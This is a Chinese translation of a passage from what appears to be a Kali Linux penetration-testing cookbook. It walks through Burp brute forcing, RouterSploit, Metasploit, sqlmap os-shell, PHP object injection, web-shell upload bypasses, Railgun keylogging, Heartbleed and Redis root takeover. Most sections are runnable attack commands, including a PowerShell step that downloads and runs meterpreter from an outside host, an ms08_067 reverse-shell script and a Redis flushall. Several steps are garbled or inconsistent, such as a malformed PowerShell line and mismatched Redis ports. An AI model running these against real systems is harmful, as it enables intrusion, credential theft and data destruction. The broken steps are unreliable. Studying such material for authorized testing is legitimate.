Web 服务描述语言（WSDL）是一种基于 XML 的语言，用于描述 Web 服务提供的功能。在执行渗透测试项目时，我们经常会发现一个 WSDL 文件是公开的，没有经过身份验证。在这个食谱中，我们将看看我们如何从 WSDL 中受益。

如何做...

我们拦截 Burp 中的 WSDL 请求：

1. 右键单击请求并选择解析 WSDL：

1. 切换到 Wsdler 选项卡，我们将看到所有的服务调用。我们可以通过点击其中任何一个来查看完整的请求：

1. 为了能够进行调试，我们需要将其发送到 Repeater：

1. 右键单击并选择“发送到 Repeater”：

1. 在我们的情况下，我们可以看到输入单引号会引发错误。哇！我们有了一个 SQL 注入的可能性！

以下截图显示了 SQL 注入：

您将在本书的后面章节中了解更多关于利用 SQL 的内容。

使用入侵者

入侵者是一个很棒的工具，可以让我们执行不同类型的攻击，用来发现各种漏洞。入侵者可以执行的一些最常见的攻击如下：

• 暴力破解

• 模糊

• 枚举

• 应用层 DoS

如何做…

我们首先从捕获的请求中获取一个请求：

1. 右键单击请求并选择“发送到 Intruder”：

1. 切换到 Intruder 选项卡。我们需要指定有效载荷位置，可以通过选择我们想要的位置或选择有效载荷，然后单击“添加§”按钮来完成：

1. 在我们的情况下，由于我们正在执行登录暴力破解，我们将使用攻击类型 Pitchfork：

1. 接下来，我们切换到有效载荷选项卡。这是我们将输入有效载荷的地方：

1. 我们选择 set 1，并且由于我们正在进行暴力破解，我们可以选择一个简单的列表作为有效载荷类型。

2. 在有效载荷选项中，我们指定要对应用程序进行测试的单词列表。我们可以手动输入它们，也可以选择预先构建的列表：

1. 现在我们选择 set 2，并再次指定我们希望工具尝试的密码列表：

1. Burp 允许我们通过配置选项来自定义攻击，例如线程数量、选择重定向选项，甚至在选项标签中进行 Grep - 匹配：

1. 我们点击“开始攻击”：

1. 一个新窗口将弹出，显示执行的攻击的所有结果。

在这里，我们只使用了一种攻击模式（Pitchfork）。可以在nitstorm.github.io/blog/burp-suite-intruder-attack-types/了解有关入侵者不同攻击模式的更多信息。

使用 Vega 进行 Web 应用程序渗透测试

Vega 是一个内置的 Java Web 应用程序渗透测试工具。它具有基于 JavaScript 的 API，使其更加强大和灵活。Vega 在以下配方中非常容易使用，您将学习如何使用它执行扫描。

准备工作

一些 Kali 版本没有安装 Vega，但可以使用以下命令进行安装：

apt-get install vega  

如何做…

1. Vega 内置在 Kali 中，可以使用以下命令启动：

 vega 

上述命令打开了 Vega 工具：

1. 在 Vega 中有两种启动扫描的方式——选择扫描器模式或代理模式。我们在这里看看扫描器模式。

2. 我们从扫描菜单中选择“开始新扫描”选项：

1. 在窗口中，我们输入网站的 URL 并点击“下一步”：

1. 然后，我们可以选择要运行的模块：

1. 在这一步中，我们可以输入 cookies：

1. 接下来，我们指定是否要排除任何参数，然后点击“完成”：

1. 我们可以在左侧窗格中看到结果和漏洞：

1. 点击警报会显示详细信息：

1. 与 Burp 类似，Vega 也具有代理功能，我们可以手动拦截和分析请求！

2. 我们可以编辑和重放请求以执行手动检查：

探索 SearchSploit

SearchSploit 是一个命令行工具，允许我们搜索和浏览exploitdb中所有可用的漏洞利用。

如何做...

1. 要查看帮助，我们输入以下命令：

    searchsploit -h

以下截图显示了前面命令的输出：

1. 我们可以通过简单输入关键字来进行搜索，如果想将漏洞利用复制到我们的工作目录中，我们使用这个：

     searchsploit -m exploitdb-id

以下截图是前面命令的示例：

使用 RouterSploit 来利用路由器

RouterSploit 是专为嵌入式设备设计的路由器利用框架。它由三个主要模块组成：

• exploits：这包含了所有公开可用的漏洞利用列表

• creds：这用于测试不同设备的登录

• scanners：这用于检查特定设备的特定漏洞利用

准备工作

在开始之前，我们将不得不在 Kali 中安装 RouterSploit；不幸的是，它不随操作系统的官方安装而来。RouterSploit 的安装非常简单，就像我们在书的开头安装一些工具一样。

如何做...

1. 我们使用以下命令克隆 GitHub 存储库：

      git clone https://github.com/reverse-shell/routersploit

1. 我们使用cd routersploit命令进入目录，并按以下方式运行文件：

      ./rsf.py  

以下截图显示了步骤 1的输出：

1. 要对路由器运行漏洞利用，我们只需输入：

      use exploits/routername/exploitname

以下截图显示了前面命令的示例：

1. 现在我们看到了我们选择的漏洞利用的可用选项。我们使用以下命令：

      show options

以下截图显示了前面命令的输出：

1. 我们使用以下命令设置目标：

      set target 192.168.1.1

以下截图显示了前面命令的输出：

1. 要进行利用，我们只需输入exploit或run：

使用scanners命令

以下步骤演示了scanners的使用：

1. 要扫描 Cisco 路由器，我们使用以下命令：

 use scanners/cisco_scan

1. 现在我们检查其他选项：

 show options

以下截图显示了前面命令的输出：

1. 要对目标运行扫描，我们首先设置目标：

 set target x.x.x.x

以下截图显示了前面命令的输出：

1. 现在我们运行它，它会显示路由器易受攻击的所有漏洞：

使用凭证

这可以用来测试服务上的默认密码组合，通过字典攻击：

1. 我们使用creds命令对各种服务运行字典攻击：

      use creds/telnet_bruteforce 

以下截图显示了前面命令的输出：

1. 接下来，我们看看选项：

      show options

以下截图显示了前面命令的输出：

1. 现在我们设置目标 IP：

      set target x.x.x.x

1. 我们让它运行，它会显示任何找到的登录。

使用 Metasploit

Metasploit 是最广泛使用的开源渗透测试工具。它最初是由 HD Moore 在 2001 年用 Perl 开发的；后来，它完全重写为 Ruby，然后被 Rapid7 收购。

Metasploit 包含一系列利用、有效载荷和编码器，可用于在渗透测试项目中识别和利用漏洞。在本章中，我们将介绍一些能够更有效地使用Metasploit Framework（MSF）的示例。

如何做…

以下步骤演示了 MSF 的使用：

1. 通过输入以下命令启动 MSF：

        msfconsole

以下截图显示了前面命令的输出：

1. 要搜索漏洞，我们输入：

        search exploit_name

以下截图显示了前面命令的输出：

1. 要使用漏洞利用，我们输入：

        use exploits/path/to/exploit  

以下截图显示了前面命令的输出：

1. 接下来，我们通过输入以下内容来查看选项：

        show options  

1. 在这里，我们需要设置有效载荷、目标 IP、本地主机和我们想要的后向连接端口。

2. 我们使用以下命令设置目标：

        set RHOST x.x.x.x  

1. 我们使用以下命令设置有效载荷：

 set payload windows/meterpreter/reverse_tcp  

1. 接下来，我们设置我们想要连接的lhost和lport：

 set lhost x.x.x.x
 set lport 4444

1. 现在我们运行利用命令：

        exploit  

1. 成功利用后，我们将查看meterpreter会话：

尽管我们这里只使用了 Windows 的reverse_tcp，但 Metasploit 还有很多其他有效载荷，取决于后端操作系统或使用的 Web 应用程序。可以在www.offensive-security.com/metasploit-unleashed/msfpayload/找到有效载荷的完整列表。

自动化 Metasploit

Metasploit 支持不同方式的自动化。我们将在这里介绍一种方式，即资源脚本。

资源脚本基本上是一组在加载脚本时自动运行的命令。Metasploit 已经包含了一组预先构建的脚本，在企业渗透测试环境中非常有用。可在/usr/share/metasploit-framework/scripts/resource目录中看到可用脚本的完整列表：

如何做…

以下步骤演示了 Metasploit 的自动化：

1. 我们使用以下命令启动 Metasploit：

        msfconsole 

前面命令的输出如下截图所示：

1. 一些脚本需要全局设置RHOSTS，因此我们使用以下命令设置RHOSTS：

        set RHOSTS 172.18.0.0/24 

前面命令的输出如下截图所示：

1. 现在我们使用以下命令运行脚本：

        resource /usr/share/metasploit-framework
        /scripts/resource/basic_discovery.rc

1. 此脚本将在提供的子网上进行基本主机发现扫描：

编写自定义资源脚本

在下一个示例中，我们将看看如何编写一个基本脚本。

如何做…

按照以下步骤编写基本脚本：

1. 我们打开任何编辑器—nano，leafpad等等。

2. 在这里，我们输入所有我们希望 MSF 执行的命令：

     use exploit/windows/smb/ms08_067_netapi
     set payload windows/meterpreter/reverse_tcp
     set RHOST 192.168.15.15
     set LHOST 192.168.15.20
     set LPORT 4444
     exploit -j

1. 我们将脚本保存为.rc扩展名：

1. 现在我们启动msfconsole并输入命令自动利用机器：

资源脚本只是自动化 Metasploit 的一种方式；您可以在community.rapid7.com/community/metasploit/blog/2011/12/08/six-ways-to-automate-metasploit中了解其他自动化 Metasploit 的方式。

Metasploit 中的数据库

在 Kali Linux 中，我们必须在使用数据库功能之前设置数据库。

如何做…

以下步骤演示了数据库的设置：

1. 首先，我们使用以下命令启动postgresql服务器：

        service postgresql start  

以下截图显示了前面命令的输出：

1. 然后，我们创建数据库并初始化：

        msfdb init  

1. 完成后，我们加载msfconsole。现在我们可以在 Metasploit 中创建和管理工作空间。工作空间可以被视为一个空间，我们可以在其中保存所有 Metasploit 数据并进行分类。要设置新的工作空间，我们使用以下命令：

        workspace -a workspacename

以下截图显示了上述命令的输出：

1. 要查看与工作空间相关的所有命令，我们可以执行以下命令：

 workspace -h  

1. 现在我们已经设置好了数据库和工作空间，我们可以使用各种命令与数据库进行交互。

2. 要将现有的 Nmap 扫描导入到我们的数据库中，我们使用以下命令：

        db_import  path/to/nmapfile.xml

以下截图显示了上述命令的输出：

1. 导入完成后，我们可以使用以下命令查看主机：

 hosts

以下截图显示了上述命令的输出：

1. 只查看 IP 地址和操作系统类型，我们使用以下命令：

        hosts -c address,os_flavor

以下截图显示了上述命令的输出：

1. 现在假设我们想要执行 TCP 辅助扫描。我们也可以将所有这些主机设置为辅助扫描的RHOSTS。我们使用以下命令来实现这一点：

        hosts -c address,os_flavor -R  

以下截图显示了上述命令的输出：

1. 由于RHOSTS已经设置，它们可以在 Metasploit 中的任何所需模块中使用。

2. 让我们再看一个例子，我们导入的 Nmap 扫描已经包含了我们需要的所有数据。我们可以使用以下命令列出数据库中的所有服务：

        services

1. 要仅查看已启动的服务，我们可以使用-u开关：

1. 我们甚至可以使用-p开关按特定端口查看列表：

第四章：Web 应用程序利用-超越 OWASP 十大

在本章中，我们将介绍以下示例：

• 使用 XSS 验证器利用 XSS

• 使用sqlmap进行注入攻击

• 拥有所有.svn和.git存储库

• 赢得竞争条件

• 使用 JexBoss 利用 JBoss

• 利用 PHP 对象注入

• 使用 Web shell 和 meterpreter 设置后门

介绍

在 OWASP 十大中，我们通常看到查找和利用漏洞的最常见方式。在本章中，我们将介绍在寻找 Web 应用程序中的漏洞时可能遇到的一些不常见情况。

使用 XSS 验证器利用 XSS

虽然 XSS 已经被 Burp、Acunetix 等各种工具检测到，但 XSS 验证器非常方便。它是专为自动验证 XSS 漏洞而设计的 Burp 入侵者和扩展程序。

它基于 SpiderLabs 的博客文章blog.spiderlabs.com/2013/02/server-site-xss-attack-detection-with-modsecurity-and-phantomjs.html。

做好准备

要在以下示例中使用该工具，我们需要在我们的机器上安装 SlimerJS 和 PhantomJS。

如何做...

以下步骤演示了 XSS 验证器：

1. 我们打开 Burp 并切换到扩展程序选项卡：

1. 然后，我们安装 XSS 验证器扩展程序：

1. 安装完成后，我们将在 Burp 窗口中看到一个名为 xssValidator 的新选项卡：

1. 接下来，我们安装 PhantomJS 和 SlimerJS；这可以在 Kali 上用几个简单的命令完成。

2. 我们使用wget从互联网下载 PhantomJS 文件：

 sudo wget https://bitbucket.org/ariya/phantomjs/downloads/
        phantomjs-1.9.8-linux-x86_64.tar.bz2

1. 我们使用以下命令提取它：

 tar jxvf phantomjs-1.9.8-linux-x86_64.tar.bz2

以下截图显示了前面命令下载 PhantomJS 文件的文件夹：

1. 现在我们可以使用cd浏览文件夹，最简单的方法是将 PhantomJS 可执行文件复制到/usr/bin：

 cp phantomjs /usr/local/bin

以下截图显示了前面命令的输出：

1. 要验证我们是否可以在终端中输入phantomjs -v命令并显示版本。

2. 类似地，要安装 SlimerJS，我们从官方网站下载它：

slimerjs.org/download.html。

1. 我们首先使用以下命令安装依赖项：

 sudo apt-get install libc6 libstdc++6 libgcc1 xvfb

1. 现在我们使用以下命令提取文件：

 tar jxvf slimerjs-0.8.4-linux-x86_64.tar.bz2

1. 然后，我们浏览目录，简单地将 SlimerJS 可执行文件复制到/usr/local/bin：

1. 然后，我们执行以下命令：

 cp slimerjs /usr/local/bin/

以下截图显示了前面命令的输出：

1. 现在我们需要导航到 XSS 验证器文件夹。

2. 然后，我们需要使用以下命令启动 PhantomJS 和 SlimerJS 服务器：

 phantomjs xss.js & slimerjs slimer.js &

1. 服务器运行后，我们返回到 Burp 窗口。在右侧的 XSS 验证器选项卡中，我们将看到扩展程序将在请求上测试的负载列表。我们也可以手动输入我们自己的负载：

1. 接下来，我们捕获需要验证 XSS 的请求。

2. 我们选择发送到入侵者选项：

1. 然后，我们切换到入侵者窗口，在位置选项卡下，设置我们想要测试 XSS 负载的位置。用§包围的值是攻击期间将插入负载的位置：

1. 在负载选项卡中，我们将负载类型选择为扩展生成的：

1. 在负载选项中，我们点击选择生成器...并选择 XSS 验证器负载：

1. 接下来，我们切换到 XSS 验证器选项卡，并复制 Grep 短语；这个短语也可以自定义：

1. 接下来，我们切换到 Intruder 选项卡中的选项，并在 Grep - Match 中添加复制的短语：

1. 我们点击开始攻击，然后我们会看到一个弹出窗口：

1. 在这里，我们将看到在我们的 Grep 短语列中带有检查标记的请求已成功验证：

使用 sqlmap 进行注入攻击

sqlmap工具是一个用 Python 构建的开源工具，允许检测和利用 SQL 注入攻击。它完全支持 MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM Db2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB 和 Informix 数据库。在这个食谱中，我们将介绍如何使用 sqlmap 来测试和利用 SQL 注入。

如何做...

以下是使用sqlmap的步骤：

1. 我们首先查看sqlmap的帮助，以更好地了解其功能。这可以使用以下命令完成：

 sqlmap -h

以下屏幕截图显示了上述命令的输出：

1. 要扫描 URL，我们使用以下命令：

 sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1"

1. 一旦检测到 SQL，我们可以选择是（Y）跳过其他类型的有效载荷：

1. 一旦检测到 SQL，我们可以使用--dbs标志列出数据库名称：

1. 我们现在有了数据库；同样，我们可以使用--tables和--columns等标志来获取表名和列名：

1. 要检查用户是否是数据库管理员，我们可以使用--is-dba标志：

1. sqlmap命令有很多标志。我们可以使用以下表格来查看不同类型的标志以及它们的作用：

标志	操作
--tables	转储所有表名
-T	指定要执行操作的表名
--os-cmd	执行操作系统命令
--os-shell	提示系统命令 shell
-r	指定要在其上运行 SQL 测试的文件名
--dump-all	转储所有内容
--tamper	使用篡改脚本
--eta	显示剩余的估计时间以转储数据
--dbs=MYSql,MSSQL,Oracle	我们可以手动选择数据库，仅对特定类型的数据库执行注入
--proxy	指定代理

另请参阅

• 使用 Web shell 的后门食谱

• 使用 meterpreters 的后门食谱

拥有所有的.svn 和.git 存储库

该工具用于破解版本控制系统，如 SVN、Git 和 Mercurial/hg、Bazaar。该工具是用 Python 构建的，使用起来非常简单。在这个食谱中，您将学习如何使用该工具来破解存储库。

这种漏洞存在是因为大多数情况下，在使用版本控制系统时，开发人员会将他们的存储库托管在生产环境中。留下这些文件夹允许黑客下载整个源代码。

如何做...

以下步骤演示了存储库的使用：

1. 我们可以从 GitHub 下载dvcs-ripper.git：

 git clone https://github.com/kost/dvcs-ripper.git

1. 我们浏览dvcs-ripper目录：

1. 要破解 Git 存储库，命令非常简单：

 rip-git.pl -v -u http://www.example.com/.git/

1. 我们让它运行，然后我们应该看到一个.git文件夹被创建，在其中，我们应该看到源代码：

1. 同样，我们可以使用以下命令来破解 SVN：

 rip-svn.pl -v -u http://www.example.com/.svn/

赢得竞争条件

当在多线程 Web 应用程序中对相同数据执行操作时，会发生竞争条件。当执行一个操作的时间影响另一个操作时，它基本上会产生意外的结果。

具有竞争条件漏洞的应用程序的一些示例可能是允许从一个用户向另一个用户转移信用的应用程序，或者允许添加折扣券代码以获得折扣的应用程序，这也可能存在竞争条件，这可能允许攻击者多次使用相同的代码。

如何做...

我们可以使用 Burp 的入侵者执行竞争条件攻击，如下所示：

1. 我们选择请求，然后单击“发送到入侵者”：

1. 我们切换到选项选项卡，并设置我们想要的线程数，通常20到25就足够了：

1. 然后，在有效载荷选项卡中，我们选择有效载荷类型中的空有效载荷，因为我们要重播相同的请求：

1. 然后，在有效载荷选项中，我们选择要播放请求的次数。

2. 由于我们实际上不知道应用程序的性能如何，因此无法完全猜测我们需要重播请求的次数。

3. 现在，我们点击“开始攻击”。如果攻击成功，我们应该看到期望的结果。

另请参阅

您可以参考以下文章以获取更多信息：

• antoanthongtin.vn/Portals/0/UploadImages/kiennt2/KyYeu/DuLieuTrongNuoc/Dulieu/KyYeu/07.race-condition-attacks-in-the-web.pdf

• sakurity.com/blog/2015/05/21/starbucks.html

• www.theregister.co.uk/2016/10/21/linux_privilege_escalation_hole/

使用 JexBoss 利用 JBoss

JexBoss 是用于测试和利用 JBoss 应用服务器和其他 Java 应用服务器（例如 WebLogic，GlassFish，Tomcat，Axis2 等）中的漏洞的工具。

它可以在github.com/joaomatosf/jexboss下载。

如何做...

我们首先导航到我们克隆 JexBoss 的目录，然后按照给定的步骤进行操作：

1. 我们使用以下命令安装所有要求：

 pip install -r requires.txt

以下屏幕截图是上述命令的示例：

1. 要查看帮助，我们输入以下内容：

 python jexboss.py -h

以下屏幕截图显示了上述命令的输出：

1. 要利用主机，我们只需输入以下命令：

 python jexboss.py -host http://target_host:8080

以下屏幕截图是上述命令的示例：

这向我们展示了漏洞。

1. 我们输入yes以继续利用：

1. 这给我们在服务器上提供了一个 shell：

利用 PHP 对象注入

当不安全的用户输入通过 PHP unserialize()函数传递时，就会发生 PHP 对象注入。当我们将一个类的对象的序列化字符串传递给应用程序时，应用程序会接受它，然后 PHP 会重建对象，并且通常会调用魔术方法（如果它们包含在类中）。一些方法是__construct()，__destruct()，__sleep()和__wakeup()。

这导致 SQL 注入，文件包含，甚至远程代码执行。但是，为了成功利用这一点，我们需要知道对象的类名。

如何做...

以下步骤演示了 PHP 对象注入：

1. 在这里，我们有一个应用程序，它在get参数中传递序列化数据：

1. 由于我们有源代码，我们将看到该应用程序正在使用__wakeup()函数，类名为PHPObjectInjection：

1. 现在我们可以编写一个具有相同类名的代码，以生成包含我们要在服务器上执行的自己的命令的序列化对象：

        <?php
            class PHPObjectInjection{
                 public $inject = "system('whoami');";
            }
            $obj = new PHPObjectInjection;
            var_dump(serialize($obj));
        ?>

1. 我们将代码保存为 PHP 文件并运行代码，我们应该有序列化的输出：

1. 我们将此输出传递到r参数中，我们看到这里显示用户：

1. 让我们尝试传递另一个命令，uname -a。我们使用我们创建的 PHP 代码生成它：

1. 然后我们将输出粘贴到 URL 中：

1. 现在我们看到正在执行的命令，输出如下：

另请参阅

• mukarramkhalid.com/php-object-injection-serialization/#poi-example-2

• crowdshield.com/blog.php?name=exploiting-php-serialization-object-injection-vulnerabilities

• www.evonide.com/how-we-broke-php-hacked-pornhub-and-earned-20000-dollar/

使用 web shell 的后门

上传 web shell 很有趣；上传 web shell 可以让我们在服务器上更多地浏览。在这个教程中，您将学习一些我们可以在服务器上上传 shell 的方法。

如何做...

以下步骤演示了 web shell 的使用：

1. 我们首先通过使用--is-dba标志运行 sqlmap 来检查用户是否为 DBA：

1. 然后，我们使用os-shell，它提示我们一个 shell。然后我们运行命令来检查我们是否有权限：

 whoami

前面的命令的示例如下：

1. 幸运的是，我们有管理员权限。但我们没有 RDP 可以提供给外部用户。让我们尝试另一种方法，使用 PowerShell 获取 meterpreter 访问权限。

2. 我们首先创建一个System.Net.WebClient对象，并将其保存为 PowerShell 脚本在系统上：

 echo $WebClient = New-Object System.Net.WebClient > abc.ps1

1. 现在我们通过以下命令使用msfvenom创建我们的meterpreter.exe：

 msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address>
    LPORT=<Your Port to Connect On> -f exe > shell.exe

1. 现在，我们需要下载我们的 meterpreter，所以我们在我们的abc.ps1脚本中添加以下命令：

 echo $WebClientDownloadFile(http://odmain.com/meterpreter.exe,
        "D:\video\b.exe") >> abc.ps1

以下截图是前面命令的示例：

1. 默认情况下，PowerShell 配置为阻止在 Windows 系统上执行.ps1脚本。但仍有一种惊人的方法可以执行脚本。我们使用以下命令：

 powershell -executionpolicy bypass -file abc.ps1

前面的命令的示例如下：

1. 接下来，我们转到目录D:/video/meterpreter.exe，我们的文件已下载，并使用以下命令执行它：

 msfconsole

前面的命令将打开 msf，如下截图所示：

使用 meterpreter 的后门

有时，我们可能还会遇到最初用于上传文件（如 Excel、照片等）的文件上传，但有一些方法可以绕过它。在这个教程中，您将看到如何做到这一点。

如何做...

以下步骤演示了 meterpreter 的使用：

1. 在这里，我们有一个上传照片的 web 应用程序：

1. 当我们上传照片时，这是我们在应用程序中看到的：

1. 让我们看看如果我们上传一个.txt会发生什么。我们创建一个带有测试数据的文件：

1. 让我们尝试上传它：

1. 我们的图片已被删除！这可能意味着我们的应用程序正在进行客户端或服务器端的文件扩展名检查：

1. 让我们尝试绕过客户端检查。我们在 Burp 中拦截请求，尝试更改提交的数据中的扩展名：

1. 现在我们将扩展名从.txt更改为.txt;.png，然后点击前进：

这仍在被删除，这告诉我们应用程序可能具有服务器端检查。

绕过的一种方法是在我们想要执行的代码中添加一个图像的头部。

1. 我们添加头部GIF87a并尝试上传文件：

然后我们上传这个：

1. 我们看到文件已经上传。

2. 现在我们尝试添加我们的 PHP 代码：

        <?php
            $output = shell_exec('ls -lart');
            echo "<pre>$output</pre>";
        ?>

但是我们的 PHP 仍未被执行。

1. 然而，还有其他文件格式，如.pht、.phtml、.phtm、.htm等。让我们尝试.pht。

我们的文件已经上传。

1. 我们浏览文件并看到它已被执行！

1. 让我们尝试执行一个基本命令：

 ?c=whoami

我们可以看到我们的命令已成功执行，我们已经在服务器上上传了我们的 shell。

第五章：当前利用的网络利用

在本章中，我们将涵盖以下教程：

• 仓鼠和雪貂的中间人

• 探索 msfconsole

• 使用偏执的 meterpreter

• 一个流血的故事

• Redis 利用

• 对 SQL 说不-拥有 MongoDB

• 嵌入式设备黑客

• Elasticsearch 利用

• 老牌的 Wireshark

• 这就是斯巴达！

介绍

利用网络通常是一个很有用的技术。很多时候，我们可能会发现企业中最脆弱的地方就在网络本身。在这个教程中，您将了解一些我们可以对网络进行渗透测试并成功利用我们发现的服务的方法。

仓鼠和雪貂的中间人

仓鼠是一个用于侧面劫持的工具。它充当代理服务器，而雪貂用于在网络中嗅探 cookie。在这个教程中，我们将看看如何劫持一些会话！

做好准备

Kali 已经预装了这个工具，让我们看看如何运行它！

如何做...

仓鼠非常容易使用，也带有用户界面。按照给定的步骤学习仓鼠的使用：

1. 我们开始输入以下命令：

 hamster

以下屏幕截图显示了上述命令的输出：

1. 现在我们只需要启动浏览器，然后导航到http://localhost:1234：

1. 接下来，我们需要点击“适配器”，并选择我们想要监视的接口：

1. 我们将等待一会儿，然后在左侧选项卡中看到会话：

如果几分钟后您没有看到会话，可能是因为仓鼠和雪貂不在同一个文件夹中。仓鼠在后台运行并执行雪貂。

一些用户可能会遇到问题，因为雪貂不支持 64 位架构。我们需要添加一个 32 位存储库，然后安装雪貂。可以使用以下命令完成：dpkg --add-architecture i386 && apt-get update && apt-get install ferret-sidejack:i386。

探索 msfconsole

在前几章中，我们已经介绍了 Metasploit 的一些基础知识。在这个教程中，您将学习一些使用 meterpreter 和 Metasploit 进行更有效利用的技术。

如何做...

要了解 Metasploit，请按照以下步骤操作：

1. 让我们启动 Metasploit 控制台，输入msfconsole：

1. 要查看可用的利用列表，我们使用以下命令：

 show exploits

以下屏幕截图显示了上述命令的输出：

1. 同样地，为了查看有效载荷列表，我们使用以下命令：

 show payloads

以下屏幕截图显示了上述命令的输出：

1. Metasploit 还配备了数百个辅助模块，其中包含扫描器、模糊器、嗅探器等。要查看辅助模块，我们使用以下命令：

 show auxiliary

以下屏幕截图显示了上述命令的输出：

1. 让我们使用以下命令进行 FTP 模糊测试：

 use auxiliary/fuzzers/ftp/ftp_client_ftp

1. 我们将使用以下命令查看选项：

 show options

1. 我们使用以下命令设置 RHOSTS：

 set RHOSTS  x.x.x.x

1. 现在我们运行辅助程序，以便在发生崩溃时通知我们：

Metasploit 中的 Railgun

在这个教程中，我们将更多地了解 Railgun。Railgun 是一个仅限于 Windows 利用的 meterpreter 功能。它允许直接与 Windows API 通信。

如何做...

Railgun 允许我们执行 Metasploit 无法执行的许多任务，例如按键等。使用它，我们可以使用 Windows API 调用执行我们需要的所有操作，以获得更好的后期利用：

1. 我们已经在前面的章节中看到了如何获取 meterpreter 会话。我们可以通过输入irb命令从 meterpreter 跳转到 Railgun：

1. 要访问 Railgun，我们使用session.railgun命令：

我们看到打印了很多数据。这些基本上是可用的 DLL 和函数。

1. 为了更好地查看 DLL 名称，我们输入以下命令：

 session.railgun.known_dll_names

以下截图显示了前面命令的输出：

1. 要查看.dll的函数，我们使用以下命令：

 session.railgun.<dllname>.functions

以下截图显示了前面命令的输出：

1. 让我们尝试调用一个 API，它将锁定受害者的屏幕。我们可以通过输入以下命令来实现：

 client.railgun.user32.LockWorkStation()

我们可以看到我们被锁定了：

1. 让我们想象一个情况，我们想要获取用户的登录密码。我们有哈希，但我们无法破解它。使用 Railgun，我们可以调用 Windows API 来锁定屏幕，然后在后台运行键盘记录器，这样当用户登录时，我们就会得到密码。Metasploit 已经有一个使用 Railgun 来执行此操作的后渗透模块；让我们试试吧！

我们退出我们的irb，将我们的 meterpreter 会话放在后台，然后我们使用模块：

 use post/windows/capture/lockout,keylogger

以下截图显示了前面命令的输出：

1. 我们使用set session命令添加我们的会话。

2. 然后，在这里设置winlogon.exe的 PID：

 set PID <winlogon pid>

1. 接下来，我们运行，我们可以看到用户输入的密码：

还有更多...

这只是一个我们看到的函数调用的示例。我们可以使用 Railgun 执行许多其他操作，比如删除管理员用户，插入注册表，创建我们自己的 DLL 等等。

有关更多信息，请访问：

www.defcon.org/images/defcon-20/dc-20-presentations/Maloney/DEFCON-20-Maloney-Railgun.pdf。

使用偏执的 meterpreter

在 2015 年的某个时候，黑客意识到可以通过简单地玩弄受害者的 DNS 并启动自己的处理程序来窃取/劫持某人的 meterpreter 会话。然后，这导致了 meterpreter 偏执模式的开发和发布。他们引入了一个 API，验证了两端由 msf 呈现的证书的 SHA1 哈希。在本教程中，我们将看到如何使用偏执模式。

如何做到...

我们需要一个 SSL 证书来开始：

1. 我们可以使用以下命令生成我们自己的：

 openssl req -new -newkey rsa:4096 -days 365 -nodes -x509
        -keyout meterpreter.key -out meterpreter.crt

以下截图显示了前面命令的输出：

我们填写信息，如国家代码和其他信息：

 cat meterpreter.key meterpreter.crt > meterpreter.pem

1. 前面的命令基本上打开了两个文件，然后将它们写入一个文件。然后我们使用我们生成的证书来生成一个载荷：

 msfvenom -p windows/meterpreter/reverse_winhttps LHOST=IP
        LPORT=443 HandlerSSLCert=meterpreter.pem
        StagerVerifySSLCert=true
        -f exe -o payload.exe

以下截图显示了前面命令的输出：

1. 要设置选项，我们使用以下命令：

 set HandlerSSLCert /path/to/pem_file
 set StagerVerifySSLCert true

以下截图显示了前面命令的示例：

1. 现在我们运行我们的处理程序，我们可以看到分段程序验证了与处理程序的连接，然后建立了连接：

还有更多...

我们可以通过在使用-PayloadUUIDName=开关生成载荷时提及我们自己的 UUID，将其提升到更高级别。使用这个，即使另一个攻击者可以访问我们的证书，他们也无法劫持我们的会话，因为 UUID 不匹配。

一个流血的故事

HeartBleed 是 OpenSSL 密码学中的一个漏洞，据说是在 2012 年引入的，并在 2014 年公开披露。这是一个缓冲区超读漏洞，允许读取的数据比允许的数据更多。

在这个教程中，您将学习如何利用 Metasploit 的辅助模块来利用 HeartBleed。

如何做...

要了解 HeartBleed，请按照以下步骤进行：

1. 我们通过输入此命令启动msfconsole：

 msfconsole

以下屏幕截图显示了上述命令的输出：

1. 然后，我们使用以下命令搜索 HeartBleed 辅助工具：

 search heartbleed

以下屏幕截图显示了上述命令的输出：

1. 接下来，我们使用以下命令使用辅助工具：

 use auxiliary/scanner/ssl/openssl_heartbleed

1. 然后我们使用以下命令查看选项：

 show options

以下屏幕截图显示了上述命令的输出：

1. 现在我们使用以下命令将 RHOSTS 设置为我们的目标 IP：

 set RHOSTS x.x.x.x

1. 然后，我们使用此命令将详细程度设置为true：

 set verbose true

1. 然后我们输入run，现在我们应该看到数据。这些数据通常包含敏感信息，如密码、电子邮件 ID 等：

Redis 利用

有时在渗透测试时，我们可能会遇到无意间留下的公共 Redis 安装。在未经身份验证的 Redis 安装中，最简单的事情就是写入随机文件。在这个教程中，我们将看到如何获取运行时没有身份验证的 Redis 安装的根访问权限。

如何做...

要了解 Redis 的利用，请按照以下步骤进行：

1. 我们首先 telnet 到服务器，检查是否可能建立成功的连接：

 telnet x.x.x.x 6379

以下屏幕截图显示了上述命令的输出：

1. 然后我们终止 telnet 会话。接下来，我们使用以下命令生成我们的 SSH 密钥：

 ssh-keygen -t rsa -C youremail@example.com

1. 然后，我们输入要保存的文件：

1. 我们的密钥已生成；现在我们需要将它写入服务器：

1. 我们需要安装redis-cli；我们可以使用以下命令：

 sudo apt-get install redis-tools

1. 安装完成后，我们回到我们生成的密钥，并在我们的密钥之前和之后添加一些随机数据：

 (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

key.txt文件是我们的新密钥文件，带有新行：

1. 现在我们需要用我们自己的密钥替换数据库中的密钥。所以我们使用这个命令连接到主机：

 redis-cli -h x.x.x.x

1. 接下来，我们使用以下命令刷新密钥：

        redis-cli -h x.x.x.x -p 6350 flushall

以下屏幕截图显示了上述命令的输出：

1. 现在我们需要将我们的密钥设置到数据库中。我们使用以下命令来做到这一点：

 cat redis.txt | redis-cli –h x.x.x.x –p 6451 -x set bb 

1. 完成后，我们需要将上传的密钥复制到.ssh文件夹中；首先，我们使用此命令检查当前文件夹：

 config get dir

1. 现在我们将目录更改为/root/.ssh/：

 config set dir /root/.ssh/

1. 接下来，我们使用set dbfilename "authorized_keys"更改文件名，并使用 save 保存：

1. 现在让我们尝试 SSH 进入服务器。我们看到我们是 root：

对 SQL 说不-拥有 MongoDB

